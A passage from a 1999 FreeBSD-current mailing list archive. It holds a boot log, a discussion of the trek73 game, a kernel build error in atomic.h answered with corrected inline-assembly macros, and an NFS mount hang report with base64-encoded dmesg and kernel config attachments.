134217728 (131072K bytes) avail memory = 126738432 (123768K bytes) Preloaded elf kernel "kernel" at 0xc0334000. Preloaded elf module "splash_bmp.ko" at 0xc033409c. Preloaded elf module "vesa.ko" at 0xc0334140. Preloaded splash_image_data "/boot/splash.bmp" at 0xc03341dc. VESA: v3.0, 4096k memory, flags:0x1, mode table:0xc0321102 (1000022) VESA: STB Velocity 128 (RIVA 128) Pentium Pro MTRR support enabled apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 11 at device 0.0 on pci1 isab0: at device 7.0 on pci0 isa0: on isab0 ata-pci0: at device 7.1 on pci0 ata-pci0: Busmastering DMA supported ata0 at 0x01f0 irq 14 on ata-pci0 ata1 at 0x0170 irq 15 on ata-pci0 uhci0: irq 9 at device 7.2 on pci0 usb0: on uhci0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered intpm0: at device 7.3 on pci0 intpm0: Could not allocate Bus space device_probe_and_attach: intpm0 attach returned 6 xl0: <3Com 3c905B-TX Fast Etherlink XL> irq 11 at device 13.0 on pci0 xl0: Ethernet address: 00:10:4b:94:9f:5c miibus0: on xl0 xlphy0: <3Com internal media interface> on miibus0 xlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pci0: unknown card (vendor=0x12eb, dev=0x0001) at 14.0 irq 10 atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model IntelliMouse, device ID 3 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A pca0 at port 0x40 on isa0 pca0: PC speaker audio driver ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 pcm0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 unknown0: at port 0x100 on isa0 unknown1: at port 0x108 on isa0 unknown2: at port 0x200-0x207 on isa0 unknown3: at port 0x109-0x110 irq 3 on isa0 ds0 XXX: driver didn't set ifq_maxlen ad0: ATA-4 disk at ata0 as master ad0: 16124MB (33022080 sectors), 32760 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 31 depth queue, UDMA33 Creating DISK ad0 Creating DISK wd0 acd0: CDROM drive at ata1 as master acd0: read 2412KB/s (5512KB/s), 256KB buffer, DMA acd0: supported read types: CD-R, CD-RW, CD-DA acd0: Audio: play, 256 volume levels acd0: Mechanism: ejectable tray acd0: Medium: no/blank disc inside, unlocked changing root device to wd0s2a WARNING: driver snd should register devices with make_dev() (dev_t = "#snd/3") To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 16:27:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-54.birch.net [216.212.1.54]) by hub.freebsd.org (Postfix) with ESMTP id 165C314DD1 for ; Tue, 26 Oct 1999 16:27:17 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id SAA01980; Tue, 26 Oct 1999 18:27:08 -0500 (CDT) From: Jim Bryant Message-Id: <199910262327.SAA01980@argus.tfs.net> Subject: Re: cleanup complete / trek73 In-Reply-To: <199910261938.MAA20577@apollo.backplane.com> from Matthew Dillon at "Oct 26, 99 12:38:41 pm" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Tue, 26 Oct 1999 18:27:07 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > I've finished cleaning up the trek73 code but haven't created a port > out of it yet. > > Anyone interested in messing with the game can obtain it from > my web site: > > http://www.backplane.com/FreeBSDPorts/ > > It should compile and run just fine. > > -Matt After compiling and playing this, I must say that the PDP-11 Basic-Plus 2 version I played in 1984 was a direct decendant of this with some enhancements. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 16:44: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-54.birch.net [216.212.1.54]) by hub.freebsd.org (Postfix) with ESMTP id 7873514D79; Tue, 26 Oct 1999 16:43:54 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id SAA02009; Tue, 26 Oct 1999 18:43:53 -0500 (CDT) From: Jim Bryant Message-Id: <199910262343.SAA02009@argus.tfs.net> Subject: * $FreeBSD: src/sys/i386/include/atomic.h,v 1.9 1999/10/04 16:24:08 peter Exp $ To: peter@freebsd.org Date: Tue, 26 Oct 1999 18:43:52 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG after several months, I decided to re-sync to -current... i cannot build a kernel due the the following errors. how do i get around this? i am not going to hack the vm code that uses this..... cc -c -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -DKERNEL -include opt_global.h -elf -fomit-frame-pointer ../../i386/i386/atomic.c machine/atomic.h: In function `atomic_set_char': In file included from ../../i386/i386/atomic.c:47: machine/atomic.h:106: inconsistent operand constraints in an `asm' machine/atomic.h:106: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_char': machine/atomic.h:107: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_char': machine/atomic.h:108: inconsistent operand constraints in an `asm' machine/atomic.h:108: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_char': machine/atomic.h:109: inconsistent operand constraints in an `asm' machine/atomic.h:109: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_short': machine/atomic.h:111: inconsistent operand constraints in an `asm' machine/atomic.h:111: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_short': machine/atomic.h:112: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_short': machine/atomic.h:113: inconsistent operand constraints in an `asm' machine/atomic.h:113: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_short': machine/atomic.h:114: inconsistent operand constraints in an `asm' machine/atomic.h:114: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_int': machine/atomic.h:116: inconsistent operand constraints in an `asm' machine/atomic.h:116: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_int': machine/atomic.h:117: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_int': machine/atomic.h:118: inconsistent operand constraints in an `asm' machine/atomic.h:118: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_int': machine/atomic.h:119: inconsistent operand constraints in an `asm' machine/atomic.h:119: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_long': machine/atomic.h:121: inconsistent operand constraints in an `asm' machine/atomic.h:121: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_long': machine/atomic.h:122: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_long': machine/atomic.h:123: inconsistent operand constraints in an `asm' machine/atomic.h:123: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_long': machine/atomic.h:124: inconsistent operand constraints in an `asm' machine/atomic.h:124: inconsistent operand constraints in an `asm' *** Error code 1 1 error jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 17:17:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 95CBB14D1D for ; Tue, 26 Oct 1999 17:17:12 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40374>; Wed, 27 Oct 1999 10:12:08 +1000 Content-return: prohibited Date: Wed, 27 Oct 1999 10:16:58 +1000 From: Peter Jeremy Subject: Re: * $FreeBSD: src/sys/i386/include/atomic.h,v 1.9 1999/10/04 16:24:08 peter Exp $ In-reply-to: <199910262343.SAA02009@argus.tfs.net> To: jbryant@tfs.net Cc: freebsd-current@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct27.101208est.40374@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii References: <199910262343.SAA02009@argus.tfs.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-Oct-27 09:43:52 +1000, Jim Bryant wrote: >after several months, I decided to re-sync to -current... > >i cannot build a kernel due the the following errors. ... >machine/atomic.h:124: inconsistent operand constraints in an `asm' ... > >how do i get around this? The quick solution is to compile with `-O'. As for the correct solution: There are various problems with the atomic_XXX code on the 386 that get triggered by different combinations of compiler, optimisation options and operand attributes. I had a look at it a few weeks ago and came up with the code below. It isn't a drop-in replacement for the existing atomic.h (because it isn't currently compatible with modules). I intend to convert it into a suitable patch and send it as a PR, but don't know when I'll get a round tuit. In the meantime, feel free to hack the following: #if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 8) #define ATOMIC_DEST "+m" #else /* gcc < 2.8 version */ #define ATOMIC_DEST "=m" #endif #if defined(SMP) #define ATOMIC_LOCK "lock ; " #else #define ATOMIC_LOCK #endif #define atomic_set_char(p, v) \ __asm(ATOMIC_LOCK "orb %b1,%0" \ : ATOMIC_DEST (*(p)) \ : "iq" (v) \ : "cc") #define atomic_clear_char(p, v) \ __asm(ATOMIC_LOCK "andb %b1,%0" \ : ATOMIC_DEST (*(p)) \ : "iq" (~(v)) \ : "cc") #define atomic_add_char(p, v) \ __asm(ATOMIC_LOCK "addb %b1,%0" \ : ATOMIC_DEST (*(p)) \ : "iq" (v) \ : "cc") #define atomic_subtract_char(p, v) \ __asm(ATOMIC_LOCK "subb %b1,%0" \ : ATOMIC_DEST (*(p)) \ : "iq" (v) \ : "cc") #define atomic_set_short(p, v) \ __asm(ATOMIC_LOCK "orw %w1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_clear_short(p, v) \ __asm(ATOMIC_LOCK "andw %w1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (~(v)) \ : "cc") #define atomic_add_short(p, v) \ __asm(ATOMIC_LOCK "addw %w1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_subtract_short(p, v) \ __asm(ATOMIC_LOCK "subw %w1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_set_int(p, v) \ __asm(ATOMIC_LOCK "orl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_clear_int(p, v) \ __asm(ATOMIC_LOCK "andl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (~(v)) \ : "cc") #define atomic_add_int(p, v) \ __asm(ATOMIC_LOCK "addl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_subtract_int(p, v) \ __asm(ATOMIC_LOCK "subl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_set_long(p, v) \ __asm(ATOMIC_LOCK "orl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_clear_long(p, v) \ __asm(ATOMIC_LOCK "andl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (~(v)) \ : "cc") #define atomic_add_long(p, v) \ __asm(ATOMIC_LOCK "addl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") #define atomic_subtract_long(p, v) \ __asm(ATOMIC_LOCK "subl %1,%0" \ : ATOMIC_DEST (*(p)) \ : "ir" (v) \ : "cc") Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 17:30:50 1999 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 4E6AB14C92 for ; Tue, 26 Oct 1999 17:30:40 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id KAA02499 for ; Wed, 27 Oct 1999 10:00:39 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_" Date: Wed, 27 Oct 1999 10:00:38 +0930 (CST) From: "Daniel O'Connor" To: freebsd-current@freebsd.org Subject: mount_nfs hanging in sbwait Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_ Content-Type: text/plain; charset=us-ascii Hi, I upgraded my -current box a few days ago, and now whenever I boot it hangs mounting the NFS FS's.. Pressing ctrl-T reveals its stuck in sbwait, if I press ctrl-C then it finishes booting, and all the NFS mounts work except one :-/ Also, when I run gqmpeg I notice it will start playing one song (and actually play it because another process does the work), get stuck in sbwait and then I will not be able to do anything with it. I realise the problem report is very vague, but I have no idea where to look! I've attached my kernel config file and dmesg.boot file. The output of mount is as follows -> /dev/wd0s3a on / (ufs, local, soft-updates, writes: sync 6 async 1183) /dev/wd0s3f on /usr (ufs, NFS exported, local, soft-updates, writes: sync 2 async 3939) /dev/wd0s3e on /var (ufs, local, soft-updates, writes: sync 182 async 5383) procfs on /proc (procfs, local) /dev/wd0s1 on /msdos_c (msdos, local) /dev/wd0s5 on /msdos_d (msdos, NFS exported, local) midget:/usr/home on /usr/home (nfs) midget:/usr/ports on /usr/ports (nfs) midget:/local0 on /local0 (nfs) midget:/usr on /rusr (nfs) /usr/home /usr/ports and /local0 work, but /rusr hangs in (you guessed it) sbwait. All NFS mounts are mounted with the options 'rw,bg,resvport,intr,soft,tcp' --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_ Content-Disposition: attachment; filename="dmesg.boot" Content-Transfer-Encoding: base64 Content-Description: dmesg.boot Content-Type: application/octet-stream; name=dmesg.boot; SizeOnDisk=4090 Q29weXJpZ2h0IChjKSAxOTkyLTE5OTkgVGhlIEZyZWVCU0QgUHJvamVjdC4KQ29weXJpZ2h0IChj KSAxOTgyLCAxOTg2LCAxOTg5LCAxOTkxLCAxOTkzCglUaGUgUmVnZW50cyBvZiB0aGUgVW5pdmVy c2l0eSBvZiBDYWxpZm9ybmlhLiBBbGwgcmlnaHRzIHJlc2VydmVkLgpGcmVlQlNEIDQuMC1DVVJS RU5UICMyOiBUdWUgT2N0IDI2IDE4OjQ2OjMzIENTVCAxOTk5CiAgICBkYXJpdXNAZ3VwcHkuZG9u cy5uZXQuYXU6L3Vzci9zcmMvc3lzL2NvbXBpbGUvR1VQUFkubm9zbXAKVGltZWNvdW50ZXIgImk4 MjU0IiAgZnJlcXVlbmN5IDExOTMxODIgSHoKVGltZWNvdW50ZXIgIlRTQyIgIGZyZXF1ZW5jeSAz NTA3OTY2MDIgSHoKQ1BVOiBQZW50aXVtIElJL1hlb24vQ2VsZXJvbiAoMzUwLjgwLU1IeiA2ODYt Y2xhc3MgQ1BVKQogIE9yaWdpbiA9ICJHZW51aW5lSW50ZWwiICBJZCA9IDB4NjUzICBTdGVwcGlu ZyA9IDMKICBGZWF0dXJlcz0weDE4M2ZiZmY8RlBVLFZNRSxERSxQU0UsVFNDLE1TUixQQUUsTUNF LENYOCxBUElDLFNFUCxNVFJSLFBHRSxNQ0EsQ01PVixQQVQsUFNFMzYsTU1YLEZYU1I+CnJlYWwg bWVtb3J5ICA9IDEzNDIxNzcyOCAoMTMxMDcySyBieXRlcykKY29uZmlnPiBwbnAgMSAwIGVuYWJs ZSBvcyBwb3J0MCAweDIyMCBwb3J0MSAweDMzMCBwb3J0MiAweDM4OCBpcnEwIDUgZHJxMCAxIGRy cTEgNQpJbnZhbGlkIGNvbW1hbmQgb3Igc3ludGF4LiAgVHlwZSBgPycgZm9yIGhlbHAuCmNvbmZp Zz4gcG5wIDEgMSBlbmFibGUgb3MgcG9ydDAgMHgyMDAKSW52YWxpZCBjb21tYW5kIG9yIHN5bnRh eC4gIFR5cGUgYD8nIGZvciBoZWxwLgpjb25maWc+IHBucCAxIDIgZW5hYmxlIG9zIHBvcnQwIDB4 NjIwIHBvcnQxIDB4YTIwIHBvcnQyIDB4ZTIwCkludmFsaWQgY29tbWFuZCBvciBzeW50YXguICBU eXBlIGA/JyBmb3IgaGVscC4KY29uZmlnPiAKYXZhaWwgbWVtb3J5ID0gMTI2NzA5NzYwICgxMjM3 NDBLIGJ5dGVzKQpQcmVsb2FkZWQgZWxmIGtlcm5lbCAia2VybmVsIiBhdCAweGMwMzI4MDAwLgpQ cmVsb2FkZWQgdXNlcmNvbmZpZ19zY3JpcHQgIi9ib290L2tlcm5lbC5jb25mIiBhdCAweGMwMzI4 MDljLgpWRVNBOiB2My4wLCAxNjMyMGsgbWVtb3J5LCBmbGFnczoweDEsIG1vZGUgdGFibGU6MHhj MDJkMDZlMiAoMTAwMDAyMikKVkVTQTogTlZpZGlhClBlbnRpdW0gUHJvIE1UUlIgc3VwcG9ydCBl bmFibGVkCmNjZDAtMzogQ29uY2F0ZW5hdGVkIGRpc2sgZHJpdmVycwpucHgwOiA8bWF0aCBwcm9j ZXNzb3I+IG9uIG1vdGhlcmJvYXJkCm5weDA6IElOVCAxNiBpbnRlcmZhY2UKcGNpYjA6IDxJbnRl bCA4MjQ0M0JYICg0NDAgQlgpIGhvc3QgdG8gUENJIGJyaWRnZT4gb24gbW90aGVyYm9hcmQKcGNp MDogPFBDSSBidXM+IG9uIHBjaWIwCnBjaWIxOiA8SW50ZWwgODI0NDNCWCAoNDQwIEJYKSBQQ0kt UENJIChBR1ApIGJyaWRnZT4gYXQgZGV2aWNlIDEuMCBvbiBwY2kwCnBjaTE6IDxQQ0kgYnVzPiBv biBwY2liMQp2Z2EtcGNpMDogPE5WaWRpYSBSaXZhIFROVDIgZ3JhcGhpY3MgYWNjZWxlcmF0b3I+ IGlycSAxMSBhdCBkZXZpY2UgMC4wIG9uIHBjaTEKaXNhYjA6IDxJbnRlbCA4MjM3MUFCIFBDSSB0 byBJU0EgYnJpZGdlPiBhdCBkZXZpY2UgNy4wIG9uIHBjaTAKaXNhMDogdW5leHBlY3RlZCB0YWcg MTQKZGV2Y2xhc3NfYWxsb2NfdW5pdDogbnB4MCBhbHJlYWR5IGV4aXN0cywgdXNpbmcgbmV4dCBh dmFpbGFibGUgdW5pdCBudW1iZXIKaXNhMDogPElTQSBidXM+IG9uIGlzYWIwCmlkZV9wY2kwOiA8 SW50ZWwgUElJWDQgQnVzLW1hc3RlciBJREUgY29udHJvbGxlcj4gYXQgZGV2aWNlIDcuMSBvbiBw Y2kwCnVoY2kwOiA8SW50ZWwgODIzNzFBQi9FQiAoUElJWDQpIFVTQiBjb250cm9sbGVyPiBpcnEg MTAgYXQgZGV2aWNlIDcuMiBvbiBwY2kwCnVzYjA6IDxJbnRlbCA4MjM3MUFCL0VCIChQSUlYNCkg VVNCIGNvbnRyb2xsZXI+IG9uIHVoY2kwCnVodWIwOiBJbnRlbCBVSENJIHJvb3QgaHViLCBjbGFz cyA5LzAsIHJldiAxLjAwLzEuMDAsIGFkZHIgMQp1aHViMDogMiBwb3J0cyB3aXRoIDIgcmVtb3Zh YmxlLCBzZWxmIHBvd2VyZWQKaW50cG0wOiA8SW50ZWwgODIzNzFBQiBQb3dlciBtYW5hZ2VtZW50 IGNvbnRyb2xsZXI+IGF0IGRldmljZSA3LjMgb24gcGNpMAppbnRwbTA6IENvdWxkIG5vdCBhbGxv Y2F0ZSBCdXMgc3BhY2UKZGV2aWNlX3Byb2JlX2FuZF9hdHRhY2g6IGludHBtMCBhdHRhY2ggcmV0 dXJuZWQgNgpmeHAwOiA8SW50ZWwgRXRoZXJFeHByZXNzIFBybyAxMC8xMDBCIEV0aGVybmV0PiBp cnEgMTEgYXQgZGV2aWNlIDguMCBvbiBwY2kwCmZ4cDA6IEV0aGVybmV0IGFkZHJlc3MgMDA6OTA6 Mjc6NDU6MGE6OTQKZmRjMDogPE5FQyA3MjA2NUIgb3IgY2xvbmU+IGF0IHBvcnQgMHgzZjAtMHgz ZjcgaXJxIDYgZHJxIDIgb24gaXNhMApmZGMwOiBGSUZPIGVuYWJsZWQsIDggYnl0ZXMgdGhyZXNo b2xkCmZkMDogPDE0NDAtS0IgMy41IiBkcml2ZT4gb24gZmRjMCBkcml2ZSAwCndkYzAgYXQgcG9y dCAweDFmMC0weDFmNyBpcnEgMTQgZmxhZ3MgMHhhMGZmYTBmZiBvbiBpc2EwCndkYzA6IHVuaXQg MCAod2QwKTogPFdEQyBBQzMxMzAwMFI+LCBETUEsIDMyLWJpdCwgbXVsdGktYmxvY2stMTYKd2Qw OiAxMjQxNk1CICgyNTQyOTgyNCBzZWN0b3JzKSwgMjUyMjggY3lscywgMTYgaGVhZHMsIDYzIFMv VCwgNTEyIEIvUwp3ZGMxIGF0IHBvcnQgMHgxNzAtMHgxNzcgaXJxIDE1IGZsYWdzIDB4YTBmZmEw ZmYgb24gaXNhMAp3ZGMxOiB1bml0IDAgKGF0YXBpKTogPEFUQVBJIENELVJPTSBEUklWRSA0MFgg TUFYSU1VTS80MENQPiwgcmVtb3ZhYmxlLCBkbWEsIGlvcmRpcwp3Y2QwOiBkcml2ZSBzcGVlZCA1 NTEyS0Ivc2VjLCAxMjhLQiBjYWNoZQp3Y2QwOiBzdXBwb3J0ZWQgcmVhZCB0eXBlczogQ0QtUiwg Q0QtUlcsIENELURBCndjZDA6IEF1ZGlvOiBwbGF5LCAyNTUgdm9sdW1lIGxldmVscwp3Y2QwOiBN ZWNoYW5pc206IGVqZWN0YWJsZSB0cmF5CndjZDA6IE1lZGl1bTogQ0QtUk9NIDEyMG1tIGRhdGEv YXVkaW8gZGlzYyBsb2FkZWQsIHVubG9ja2VkCmF0a2JkYzA6IDxrZXlib2FyZCBjb250cm9sbGVy IChpODA0Mik+IGF0IHBvcnQgMHg2MC0weDZmIG9uIGlzYTAKcHNtMDogPFBTLzIgTW91c2U+IGly cSAxMiBvbiBhdGtiZGMwCnBzbTA6IG1vZGVsIE1vdXNlTWFuKywgZGV2aWNlIElEIDAKYXRrYmQw OiA8QVQgS2V5Ym9hcmQ+IGlycSAxIG9uIGF0a2JkYzAKdmdhMDogPEdlbmVyaWMgSVNBIFZHQT4g YXQgcG9ydCAweDNjMC0weDNkZiBpb21lbSAweGEwMDAwLTB4YmZmZmYgb24gaXNhMApzYzA6IDxT eXN0ZW0gY29uc29sZT4gb24gaXNhMApzYzA6IFZHQSA8MTYgdmlydHVhbCBjb25zb2xlcywgZmxh Z3M9MHgyMDA+CnNpbzAgYXQgcG9ydCAweDNmOC0weDNmZiBpcnEgNCBvbiBpc2EwCnNpbzA6IHR5 cGUgMTY1NTBBCnNpbzEgYXQgcG9ydCAweDJmOC0weDJmZiBpcnEgMyBvbiBpc2EwCnNpbzE6IHR5 cGUgMTY1NTBBCnBwYzAgYXQgcG9ydCAweDM3OC0weDM3ZiBpcnEgNyBvbiBpc2EwCnBwYzA6IFNN Qy1saWtlIGNoaXBzZXQgKEVDUC9FUFAvUFMyL05JQkJMRSkgaW4gQ09NUEFUSUJMRSBtb2RlCnBw YzA6IEZJRk8gd2l0aCAxNi8xNi8xNiBieXRlcyB0aHJlc2hvbGQKcGxpcDA6IDxQTElQIG5ldHdv cmsgaW50ZXJmYWNlPiBvbiBwcGJ1cyAwCmxwdDA6IDxnZW5lcmljIHByaW50ZXI+IG9uIHBwYnVz IDAKbHB0MDogSW50ZXJydXB0LWRyaXZlbiBwb3J0CnBwaTA6IDxnZW5lcmljIHBhcmFsbGVsIGkv bz4gb24gcHBidXMgMApwcHMwOiA8UHVsc2UgcGVyIHNlY29uZCBUaW1pbmcgSW50ZXJmYWNlPiBv biBwcGJ1cyAwCmpveTAgYXQgcG9ydCAweDIwMSBvbiBpc2EwCmpveTA6IGpveXN0aWNrCnBjbTA6 IDxDcmVhdGl2ZSBBV0U2NCBQblA+IGF0IHBvcnQgMHgyMjAtMHgyMmYsMHgzMzAtMHgzMzEsMHgz ODgtMHgzOGIgaXJxIDUgZHJxIDEsNSBvbiBpc2EwCnVua25vd24wOiA8R2FtZT4gYXQgcG9ydCAw eDIwOC0weDIwZiBvbiBpc2EwCnVua25vd24xOiA8V2F2ZVRhYmxlPiBhdCBwb3J0IDB4NjIwLTB4 NjIzIG9uIGlzYTAKY2hhbmdpbmcgcm9vdCBkZXZpY2UgdG8gd2QwczNhCg== --_=XFMail.1.3.1.p0.FreeBSD:991027100038:23974=_ Content-Disposition: attachment; filename="GUPPY.nosmp" Content-Transfer-Encoding: base64 Content-Description: GUPPY.nosmp Content-Type: application/octet-stream; name=GUPPY.nosmp; SizeOnDisk=3535 bWFjaGluZQkJImkzODYiCmNwdQkJIkk2ODZfQ1BVIgppZGVudAkJR1VQUFlOT1NNUAptYXh1c2Vy cwkxMjgKCiMgTWFrZSBkZWJ1ZyBrZXJuZWwgYXMgd2VsbCBhcyBhIG5vcm1hbCBvbmUKbWFrZW9w dGlvbnMJREVCVUc9LWcKCm9wdGlvbnMgICAgICAgICBJTkNMVURFX0NPTkZJR19GSUxFICAgICAj IEluY2x1ZGUgdGhpcyBmaWxlIGluIGtlcm5lbAoKb3B0aW9ucyAgICAgICAgIFVTRVJDT05GSUcg ICAgICAgICAgICAgICNib290IC1jIGVkaXRvcgpvcHRpb25zICAgICAgICAgVklTVUFMX1VTRVJD T05GSUcgICAgICAgI3Zpc3VhbCBib290IC1jIGVkaXRvcgoKb3B0aW9ucwkJSU5FVAkJCSNJbnRl ck5FVHdvcmtpbmcKb3B0aW9ucwkJRkZTCQkJI0JlcmtlbGV5IEZhc3QgRmlsZXN5c3RlbQpvcHRp b25zCQlORlMJCQkjTmV0d29yayBGaWxlc3lzdGVtCm9wdGlvbnMJCSJDRDk2NjAiCQkjSVNPIDk2 NjAgRmlsZXN5c3RlbQpvcHRpb25zCQlQUk9DRlMJCQkjUHJvY2VzcyBmaWxlc3lzdGVtCm9wdGlv bnMJCSJDT01QQVRfNDMiCQkjQ29tcGF0aWJsZSB3aXRoIEJTRCA0LjMgW0tFRVAgVEhJUyFdCm9w dGlvbnMJCVVDT05TT0xFCQkjQWxsb3cgdXNlcnMgdG8gZ3JhYiB0aGUgY29uc29sZQpvcHRpb25z 